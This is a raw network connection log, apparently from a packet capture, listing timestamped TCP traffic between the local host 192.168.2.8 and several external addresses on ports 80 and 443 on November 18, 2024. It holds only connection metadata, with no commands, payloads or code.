Nov 18, 2024 13:29:32.344543934 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344583988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344594002 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.344598055 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344624043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.344656944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.344661951 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344676018 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344715118 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.344841003 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344855070 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344871044 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344923973 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.344932079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.344935894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.344969034 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.345000029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.345030069 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.345041990 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.345086098 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.375916004 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.375946999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.375971079 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.375984907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.375986099 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.375998974 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376014948 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376049042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376063108 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376084089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376096964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376125097 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376144886 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376173019 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376213074 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376229048 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376241922 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376267910 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376292944 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376293898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376329899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376362085 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376396894 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376420975 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376434088 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376458883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376482964 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376782894 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376820087 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376871109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376885891 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376909971 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376934052 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.376967907 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.376981020 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377019882 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377048969 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377060890 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377094030 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377113104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377152920 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377170086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377249956 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377262115 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377289057 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377312899 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377368927 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377382994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377396107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377414942 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377415895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377429962 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377455950 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377522945 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377580881 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377604961 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377650976 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377667904 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377680063 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377692938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377703905 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377736092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377840042 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377852917 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377876043 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377891064 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.377918005 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377931118 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.377962112 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.378058910 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.378072023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.378084898 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.378098011 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.378107071 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.378134966 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.378237963 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.378691912 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.407486916 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.407818079 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.407844067 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.408896923 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.408956051 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.409993887 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.410068989 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.410284042 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.445350885 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.455327988 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.462903023 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.462945938 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.462961912 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.462989092 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463031054 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463056087 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463068008 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463079929 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463092089 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463102102 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463114977 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463138103 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463232994 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463268995 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463416100 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463433981 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463444948 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463455915 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463468075 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.463476896 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463489056 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.463514090 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.465567112 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.465585947 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.467962980 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.468024969 CET	49801	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:32.469341040 CET	49801	443	192.168.2.8	20.125.209.212
Nov 18, 2024 13:29:32.469362020 CET	443	49801	20.125.209.212	192.168.2.8
Nov 18, 2024 13:29:32.503118992 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503153086 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503165007 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503187895 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503228903 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503252029 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503263950 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503274918 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503293991 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503299952 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503320932 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503324986 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503341913 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503345013 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503355026 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503357887 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503367901 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503375053 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503381014 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.503387928 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503406048 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.503424883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.505729914 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.506062984 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.506088018 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.506536961 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.507560015 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.507642984 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.507730961 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.511342049 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.513931036 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.514169931 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.514180899 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.514179945 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.514290094 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.514452934 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.514476061 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.514564991 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.514581919 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.515219927 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.515296936 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.515566111 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.515582085 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.515621901 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.515642881 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.515659094 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.515714884 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.515743017 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.515749931 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.515990019 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.516047955 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.516379118 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.516450882 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.516627073 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.516633987 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.516736031 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.516746998 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.517424107 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.517719030 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.517735004 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.521526098 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.521629095 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.521980047 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.522154093 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.522165060 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.522248030 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.522428036 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.522434950 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.523468971 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.523529053 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.523817062 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.523868084 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.524065018 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.524069071 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.547295094 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.551331997 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.552201986 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.558131933 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.558130980 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.558180094 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.563333988 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.573720932 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.573728085 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.573741913 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.592998028 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.620629072 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.636261940 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.636277914 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.636929035 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.637059927 CET	443	49803	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.637156963 CET	49803	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.650824070 CET	49811	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.650882006 CET	443	49811	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.650990963 CET	49811	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.651329994 CET	49811	443	192.168.2.8	20.96.153.111
Nov 18, 2024 13:29:32.651351929 CET	443	49811	20.96.153.111	192.168.2.8
Nov 18, 2024 13:29:32.707962990 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.707978010 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708041906 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708050966 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.708105087 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.708184004 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708242893 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708245039 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708304882 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.708323002 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708383083 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708482981 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708537102 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.708539009 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.708687067 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708781004 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708802938 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708834887 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.708853006 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.708864927 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.708986044 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.709034920 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.710870981 CET	49809	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.710875988 CET	443	49809	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.711914062 CET	49812	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.711924076 CET	443	49812	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.712141991 CET	49812	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.712371111 CET	49807	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.712378979 CET	443	49807	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.712683916 CET	49813	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.712729931 CET	443	49813	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.712779999 CET	49813	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.713061094 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.713087082 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.713131905 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.713140011 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.713150978 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.713166952 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.713192940 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.713378906 CET	49808	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.713406086 CET	443	49808	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.713718891 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.713728905 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.713773012 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.714385033 CET	49812	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.714394093 CET	443	49812	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.715051889 CET	49813	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.715079069 CET	443	49813	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.715519905 CET	49804	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.715534925 CET	443	49804	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.716037989 CET	49814	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.716048002 CET	443	49814	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.725153923 CET	49805	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.725167990 CET	443	49805	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.747088909 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:32.747407913 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:32.747422934 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:32.748480082 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:32.748565912 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:32.749804974 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:32.749885082 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:32.750184059 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:32.750204086 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:32.750216961 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:32.750227928 CET	443	49800	40.79.173.41	192.168.2.8
Nov 18, 2024 13:29:32.792612076 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.792639017 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.792654037 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.792732954 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.792762041 CET	443	49806	23.47.50.145	192.168.2.8
Nov 18, 2024 13:29:32.792805910 CET	49806	443	192.168.2.8	23.47.50.145
Nov 18, 2024 13:29:32.795698881 CET	49800	443	192.168.2.8	40.79.173.41
Nov 18, 2024 13:29:32.827425957 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827444077 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827464104 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827476025 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827491999 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827493906 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827505112 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827518940 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827538967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827538967 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827564001 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827646017 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827658892 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827693939 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827723980 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827740908 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827763081 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827764034 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827796936 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827800035 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827805042 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827862978 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827874899 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827877998 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827898979 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827915907 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.827958107 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.827969074 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828003883 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828016996 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828030109 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828054905 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828109980 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828130007 CET	49746	80	192.168.2.8	185.215.113.206
Nov 18, 2024 13:29:32.828139067 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828150988 CET	80	49746	185.215.113.206	192.168.2.8
Nov 18, 2024 13:29:32.828162909 CET	80	49746	185.215.113.206	192.168.2.8
